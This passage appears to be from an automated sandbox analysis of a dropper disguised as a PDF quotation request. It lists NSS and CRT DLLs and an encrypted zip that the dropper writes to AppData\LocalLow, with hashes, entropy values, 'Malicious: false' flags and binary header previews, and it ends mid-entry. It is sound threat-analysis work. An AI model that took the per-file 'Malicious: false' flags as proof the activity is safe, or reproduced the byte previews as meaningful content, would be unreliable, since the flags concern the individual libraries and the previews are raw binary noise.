Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a........................... ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v...............................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-string-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23488
Entropy (8bit):	6.840671293766487
Encrypted:	false
SSDEEP:	384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
MD5:	404604CD100A1E60DFDAF6ECF5BA14C0
SHA1:	58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256:	73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512:	DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20BE4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!.........................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... ..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-time-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.018061005886957
Encrypted:	false
SSDEEP:	384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
MD5:	849F2C3EBF1FCBA33D16153692D5810F
SHA1:	1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
SHA-256:	69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
SHA-512:	44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~.......................?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-utility-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.127951145819804
Encrypted:	false
SSDEEP:	192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
MD5:	B52A0CA52C9C207874639B62B6082242
SHA1:	6FB845D6A82102FF74BD35F42A2844D8C450413B
SHA-256:	A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0
SHA-512:	18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!......................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... ..`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r...................................4...I..._.......................3...N...e...\|.......................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\breakpadinjector.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	117712
Entropy (8bit):	6.598338256653691
Encrypted:	false
SSDEEP:	3072:9b9ffsTV5n8cSQQtys6FXCVnx+IMD6eN07e:P25V/QQs6WTMex7e
MD5:	A436472B0A7B2EB2C4F53FDF512D0CF8
SHA1:	963FE8AE9EC8819EF2A674DBF7C6A92DBB6B46A9
SHA-256:	87ED943D2F06D9CA8824789405B412E770FE84454950EC7E96105F756D858E52
SHA-512:	89918673ADDC0501746F24EC9A609AC4D416A4316B27BF225974E898891699B630BB18DB32432DA2F058DC11D9AF7BAF95D067B29FB39052EE7C6F622718271B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s..y7.{7.{7.{..x+>.{..~+I.{...+%.{.x+$.{..+'.{.~+..{..z+4.{7.zA.{..~+>.{..{+6.{...6.{..y+6.{Rich7.{........PE..L....@.\.........."!................t........0.......................................S....@.........................P...P.......(...................................`...T...............................@............0..D............................text............................... ..`.rdata...l...0...n... ..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\freebl3.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.808908775107082
Encrypted:	false
SSDEEP:	6144:6cYBCU/bEPU6Rc5xUqc+z75nv4F0GHrIraqqDL6XPSed:67WRCB7zl4F0I4qn6R
MD5:	60ACD24430204AD2DC7F148B8CFE9BDC
SHA1:	989F377B9117D7CB21CBE92A4117F88F9C7693D9
SHA-256:	9876C53134DBBEC4DCCA67581F53638EBA3FEA3A15491AA3CF2526B71032DA97
SHA-512:	626C36E9567F57FA8EC9C36D96CBADEDE9C6F6734A7305ECFB9F798952BBACDFA33A1B6C4999BA5B78897DC2EC6F91870F7EC25B2CEACBAEE4BE942FE881DB01
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L....@.\.........."!.........f...............................................p............@.........................p...P............@..x....................P......0...T...............................@...............8............................text...d........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ldap60.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	132048
Entropy (8bit):	6.627391684128337
Encrypted:	false
SSDEEP:	3072:qgXCFTvwqiiynFa6zqeqQZ06DdEH4sq9gHNaIkIQhEwe:qdvwqMFbOePIP/zkIQ2h
MD5:	5A49EBF1DA3D5971B62A4FD295A71ECF
SHA1:	40917474EF7914126D62BA7CDBF6CF54D227AA20
SHA-256:	2B128B3702F8509F35CAD0D657C9A00F0487B93D70336DF229F8588FBA6BA926
SHA-512:	A6123BA3BCF9DE6AA8CE09F2F84D6D3C79B0586F9E2FD0C8A6C3246A91098099B64EDC2F5D7E7007D24048F10AE9FC30CCF7779171F3FD03919807EE6AF76809
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q...?S..?S..?S..S..?S\|.>R..?S;..S..?S\|.<R..?S\|.:R..?S\|.;R..?S..>R..?S..>S..?Sn.;R.?Sn.?R..?Sn..S..?Sn.=R..?SRich..?S........................PE..L....@.\.........."!.........f...... ........................................0............@.............................................x.................... ......p...T..............................@...............\............................text...:........................... ..`.rdata...@.......B..................@..@.data...l...........................@....rsrc...x...........................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ldif60.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20432
Entropy (8bit):	6.337521751154348
Encrypted:	false
SSDEEP:	384:YxfML3ALxK0AZEuzOJKRsIFYvDG8A3OPLonw4S:0fMmxFyO4RpGDG8MjS
MD5:	4FE544DFC7CDAA026DA6EDA09CAD66C4
SHA1:	85D21E5F5F72A4808F02F4EA14AA65154E52CE99
SHA-256:	3AABBE0AA86CE8A91E5C49B7DE577AF73B9889D7F03AF919F17F3F315A879B0F
SHA-512:	5C78C5482E589AF7D609318A6705824FD504136AEAAC63F373E913DA85FA03AF868669534496217B05D74364A165D7E08899437FCC0E3017F02D94858BA814BB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9..j..j..j...j..j^..k..j^..k..j^..k..j^..k..j...k..j..j..jL..k..jL..k..jL.bj..jL..k..jRich..j........................PE..L....<.\.........."!................Y........0...............................p......r.....@..........................5.......6.......P..x............2.......`..x....0..T...........................(1..@............0...............................text............................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc...x....P.......,..............@..@.reloc..x....`.......0..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\lgpllibs.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	55760
Entropy (8bit):	6.738700405402967
Encrypted:	false
SSDEEP:	1536:LxsBS3Q6j+37mWT7DT/GszGrn7iBCmjFCOu:LxTBcmWT7X/Gszen7icmjFtu
MD5:	56E982D4C380C9CD24852564A8C02C3E
SHA1:	F9031327208176059CD03F53C8C5934C1050897F
SHA-256:	7F93B70257D966EA1C1A6038892B19E8360AADD8E8AE58E75EBB0697B9EA8786
SHA-512:	92ADC4C905A800F8AB5C972B166099382F930435694D5F9A45D1FDE3FEF94FAC57FD8FAFF56FFCFCFDBC61A43E6395561B882966BE0C814ECC7E672C67E6765A
Malicious:	false
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$...........l...l...l.......l..~....l..9...l..~....l..~....l..~....l.......l..l....l...l...l...l...l..l....l..l....l..l....l..l..l..l....l..Rich.l..........................PE..L...z@.\.........."!.........2......................................................t.....@...........................................x...............................T...............................@............................................text.............................. ..`.rdata..>...........................@..@.data...............................@....rodata.8...........................@..@.rsrc...x...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\libEGL.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22480
Entropy (8bit):	6.528357540966124
Encrypted:	false
SSDEEP:	384:INZ9mLVDAffJJKAtn0mLAb8X3FbvDG8A3OPLonzvGb:4mx+fXvn4YFrDG8MKb
MD5:	96B879B611B2BBEE85DF18884039C2B8
SHA1:	00794796ACAC3899C1FB9ABBF123FEF3CC641624
SHA-256:	7B9FC6BE34F43D39471C2ADD872D5B4350853DB11CC66A323EF9E0C231542FB9
SHA-512:	DF8F1AA0384A5682AE47F212F3153D26EAFBBF12A8C996428C3366BEBE16850D0BDA453EC5F4806E6A62C36D312D37B8BBAFF549968909415670C9C61A6EC49A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...N{.N{.N{.6..N{.F,z.N{.F,x.N{.F,~.N{.F,..N{..z.N{.T-z.N{.Nz..N{.T-~.N{.T-{.N{.T-..N{.T-y.N{.Rich.N{.........................PE..L...aA.\.........."!.........(............... ...............................p......~.....@..........................%..........d....P..x............:.......`.......!..T............................"..@............ ...............................text... ........................... ..`.rdata....... ......................@..@.data........@.......2..............@....rsrc...x....P.......4..............@..@.reloc.......`.......8..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozMapi32.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83408
Entropy (8bit):	6.436278889454398
Encrypted:	false
SSDEEP:	1536:CNr03+TtFKytqB0EeCsu1sW+cdQOTki9jHiU:CNrDKHBBjXQSki9OU
MD5:	385A92719CC3A215007B83947922B9B5
SHA1:	38DE6CA70CEE1BAD84BED29CE7620A15E6ABCD10
SHA-256:	06EF2010B738FBE99BCDEBBF162473A4EE090678BB6862EEB0D4C7A8C3F225BB
SHA-512:	9F0DFF00C7E72D7017AECE3FA5C31A9C2C2AA0CCC6606D2561CE8D36A4A1F0AB8DC452E2C65E9F4B6CD32BBB8ADA1FF7C865126A5F318719579DB763E4C4183F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........mR;...;...;.......2.......G.......).......*.......".......4.......>...;...n.......:.......:.......:.......:...Rich;...........................PE..L....=.\.........."!.........................................................`......>.....@.............................l.......<....@..P............(.......P..d...0...T...............................@............................................text............................... ..`.rdata..Z[.......\..................@..@.data........ ......................@....rsrc...P....@......................@..@.reloc..d....P......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozMapi32_InUse.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83408
Entropy (8bit):	6.436278889454398
Encrypted:	false
SSDEEP:	1536:CNr03+TtFKytqB0EeCsu1sW+cdQOTki9jHiU:CNrDKHBBjXQSki9OU
MD5:	385A92719CC3A215007B83947922B9B5
SHA1:	38DE6CA70CEE1BAD84BED29CE7620A15E6ABCD10
SHA-256:	06EF2010B738FBE99BCDEBBF162473A4EE090678BB6862EEB0D4C7A8C3F225BB
SHA-512:	9F0DFF00C7E72D7017AECE3FA5C31A9C2C2AA0CCC6606D2561CE8D36A4A1F0AB8DC452E2C65E9F4B6CD32BBB8ADA1FF7C865126A5F318719579DB763E4C4183F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........mR;...;...;.......2.......G.......).......*.......".......4.......>...;...n.......:.......:.......:.......:...Rich;...........................PE..L....=.\.........."!.........................................................`......>.....@.............................l.......<....@..P............(.......P..d...0...T...............................@............................................text............................... ..`.rdata..Z[.......\..................@..@.data........ ......................@....rsrc...P....@......................@..@.reloc..d....P......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozglue.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.784614237836286
Encrypted:	false
SSDEEP:	3072:Z6s2DIGLXlNJJcPoN0j/kVqhp1qt/TXTv7q1D2JJJvPhrSeXZ5dR:MszGLXlNrE/kVqhp12/TXTjSD2JJJvPt
MD5:	EAE9273F8CDCF9321C6C37C244773139
SHA1:	8378E2A2F3635574C106EEA8419B5EB00B8489B0
SHA-256:	A0C6630D4012AE0311FF40F4F06911BCF1A23F7A4762CE219B8DFFA012D188CC
SHA-512:	06E43E484A89CEA9BA9B9519828D38E7C64B040F44CDAEB321CBDA574E7551B11FEA139CE3538F387A0A39A3D8C4CBA7F4CF03E4A3C98DB85F8121C2212A9097
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...{>.\.........."!.....z...................................................@......j.....@A........................@...t.......,.... ..x....................0..l.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..l....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\msvcp140.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nss3.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1245136
Entropy (8bit):	6.766715162066988
Encrypted:	false
SSDEEP:	24576:ido5Js2a56/+VwJebKj5KYFsRjzx5ZxKV6D1Z4Go/LCiytoxq2Zwn5hCM4MSRdY8:Q2aY4w6aozx5ZWMM7yew8MSRK1y
MD5:	02CC7B8EE30056D5912DE54F1BDFC219
SHA1:	A6923DA95705FB81E368AE48F93D28522EF552FB
SHA-256:	1989526553FD1E1E49B0FEA8036822CA062D3D39C4CAB4A37846173D0F1753D5
SHA-512:	0D5DFCF4FB19B27246FA799E339D67CD1B494427783F379267FB2D10D615FFB734711BAB2C515062C078F990A44A36F2D15859B1DACD4143DCC35B5C0CEE0EF5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......c.4.'.Z.'.Z.'.Z.....3.Z...[.%.Z.B..#.Z...Y.*.Z..._.-.Z...^.,.Z...[./.Z..[.$.Z.'.[...Z..^.-.Z..Z.&.Z...&.Z..X.&.Z.Rich'.Z.........................PE..L....@.\.........."!.........................................................@......Q.....@................................x=..T.......p........................\|......T...........................h...@............................................text............................... ..`.rdata...Q.......R..................@..@.data...tG...`..."...>..............@....rsrc...p............`..............@..@.reloc...\|.......~...d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nssckbi.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	336336
Entropy (8bit):	7.0315399874711995
Encrypted:	false
SSDEEP:	6144:8bndzEL04gF85K9autIMyEhZ/V3psPyHa9tBe1:8bndzEL04pnutIMyAp2z9tBe1
MD5:	BDAF9852F588C86B055C846B53D4C144
SHA1:	03B739430CF9EADE21C977B5B416C4DD94528C3B
SHA-256:	2481DA1C459A2429A933D19AD6AE514BD2AE59818246DDB67B0EF44146CED3D8
SHA-512:	19D9A952A3DF5703542FA52A5A780C2E04D6A132059F30715954EAC40CD1C3F3B119A29736D4A911BE85086AFE08A54A7482FA409DFD882BAC39037F9EECD7EF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pi.Pi.Pi.(..Pi.F2h.Pi.F2j.Pi.F2l.Pi.F2m.Pi.0h.Pi.T3h.Pi.Ph.Pi.T3m.Pi.T3i.Pi.T3..Pi.T3k.Pi.Rich.Pi.........PE..L....@.\.........."!.........`......q........................................@...........@.............................P.......d.......x.......................t)..p...T..............................@............................................text.............................. ..`.rdata..>...........................@..@.data....N.......L..................@....rsrc...x...........................@..@.reloc..t).......*..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nssdbm3.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639527605275762
Encrypted:	false
SSDEEP:	1536:YvNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41Pc:+NGVOiBZbcGmxXMcBqmzoCUZoZebHPAT
MD5:	94919DEA9C745FBB01653F3FDAE59C23
SHA1:	99181610D8C9255947D7B2134CDB4825BD5A25FF
SHA-256:	BE3987A6CD970FF570A916774EB3D4E1EDCE675E70EDAC1BAF5E2104685610B0
SHA-512:	1A3BB3ECADD76678A65B7CB4EBE3460D0502B4CA96B1399F9E56854141C8463A0CFCFFEDF1DEFFB7470DDFBAC3B608DC10514ECA196D19B70803FBB02188E15E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L....@.\.........."!.........0...............0......................................*q....@......................... ?......(@.......`..x............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..D....0... ..................@..@.data........P.......>..............@....rsrc...x....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\pY4zE3fX7h.zip Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	2828315
Entropy (8bit):	7.998625956067725
Encrypted:	true
SSDEEP:	49152:tiGLaX5/cgbRETlc0EqgSVAx07XZiEi4qiefeEJGt5ygL0+6/qax:t9OX9alwJSVP1fnefekGt5CP
MD5:	1117CD347D09C43C1F2079439056ADA3
SHA1:	93C2CE5FC4924314318554E131CFBCD119F01AB6
SHA-256:	4CFADA7EB51A6C0CB26283F9C86784B2B2587C59C46A5D3DC0F06CAD2C55EE97
SHA-512:	FC3F85B50176C0F96898B7D744370E2FF0AA2024203B936EB1465304C1C7A56E1AC078F3FDF751F4384536602F997E745BFFF97F1D8FF2288526883185C08FAF
Malicious:	false
Preview:	PK.........znN<..{r....i......nssdbm3.dll...\|...8...N..Y..6.$J.....$1...D .a.....jL.V..C...N.;....}./............$...Z,T.R.qc...Ec.=................;..{..s....p.`..A.?M.....W!.....a..?N...~e.A..W.o.....[.}...,...;.+\....Jw.\|...k.......<yR.^.E.o.nxs.c...=V....,..F....cu.....w.O..[..u.{..<.w....7P...{..K~..E..w...c...z^..[Z....6.G.V.2..+.n4......1M.......w{f..nJL..{. d......M..+.. ......./.)..$X!......L..K.`.M...w.I..LA8r.IX...r...87..}........<.].r.....TWm......b6/._....a..W.lB...3.n.._...j....o.Mz.._Q........8....K............gr..L..H...v....6[...4I...{.1g..<..>M..$G.&Y........-.....O..9\...,t..W.m.X ..Y.3....S<#}.".>.0RBg,...lh.s..o.....r.p8...)..3..K.v....ds.n3.+]....+....krMu._.Y\..../8T......&.BC.".u..;..e.k u$......~`.{.!.M...\W.Y.37+nQ.Z.*...3\G..5d....Z.hVL..Z.\|k.5...XF.Y..lVVW..C..\|.....b..\.Z...m. ..0...P.F8{].U.p..RW,n...MM.....s..._@..>Q.. ...N.>.T?WM....)9B.............mVW.......b.6{..\|!......O....M....>.>.$\.%..L.zF.l...3

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\prldap60.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24016
Entropy (8bit):	6.532540890393685
Encrypted:	false
SSDEEP:	384:TQJMOeAdiNcNUO3qgpw6MnTmJk0llEEHAnDl3vDG8A3OPLondJJs2z:KMaNqb6MTmVllEK2p/DG8MlsQ
MD5:	6099C438F37E949C4C541E61E88098B7
SHA1:	0AD03A6F626385554A885BD742DFE5B59BC944F5
SHA-256:	46B005817868F91CF60BAA052EE96436FC6194CE9A61E93260DF5037CDFA37A5
SHA-512:	97916C72BF75C11754523E2BC14318A1EA310189807AC8059C5F3DC1049321E5A3F82CDDD62944EA6688F046EE02FF10B7DDF8876556D1690729E5029EA414A9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:`wq[.$q[.$q[.$x#.$s[.$.9.%s[.$.9.%p[.$.9.%{[.$.9.%z[.$S;.%s[.$.8.%t[.$q[.$=[.$.8.%t[.$.8.%p[.$.8.$p[.$.8.%p[.$Richq[.$........PE..L....@.\.........."!..... ... .......%.......0...............................p......./....@..........................5......p7..x....P..x............@.......`..$...`1..T............................1..@............0..,............................text...2........ .................. ..`.rdata.......0.......$..............@..@.data...4....@.......4..............@....rsrc...x....P.......8..............@..@.reloc..$....`.......<..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\qipcap.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16336
Entropy (8bit):	6.437762295038996
Encrypted:	false
SSDEEP:	192:aPgr1ZCb2vGJ7b20qKvFej7x0KDWpH3vUA397Ae+PjPonZwC7Qm:aYpZPGJP209F4vDG8A3OPLonZwC7X
MD5:	F3A355D0B1AB3CC8EFFCC90C8A7B7538
SHA1:	1191F64692A89A04D060279C25E4779C05D8C375
SHA-256:	7A589024CF0EEB59F020F91BE4FE7EE0C90694C92918A467D5277574AC25A5A2
SHA-512:	6A9DB921156828BCE7063E5CDC5EC5886A13BD550BA8ED88C99FA6E7869ECFBA0D0B7953A4932EB8381243CD95E87C98B91C90D4EB2B0ACD7EE87BE114A91A9E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s6.7W..7W..7W..>/..5W...5..5W...5..6W...5..>W...5..<W...7..4W..7W..*W...4..6W...4`.6W...4..6W..Rich7W..................PE..L....B.\.........."!......................... ...............................`.......r....@..................................$..P....@..x............".......P.. .... ..T............................ ..@............ ..h............................text...P........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...x....@......................@..@.reloc.. ....P....... ..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\softokn3.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.54005414297208
Encrypted:	false
SSDEEP:	3072:8Af6suip+I7FEk/oJz69sFaXeu9CoT2nIVFetBW3D2xkEMk:B6POsF4CoT2OeYMzMk
MD5:	4E8DF049F3459FA94AB6AD387F3561AC
SHA1:	06ED392BC29AD9D5FC05EE254C2625FD65925114
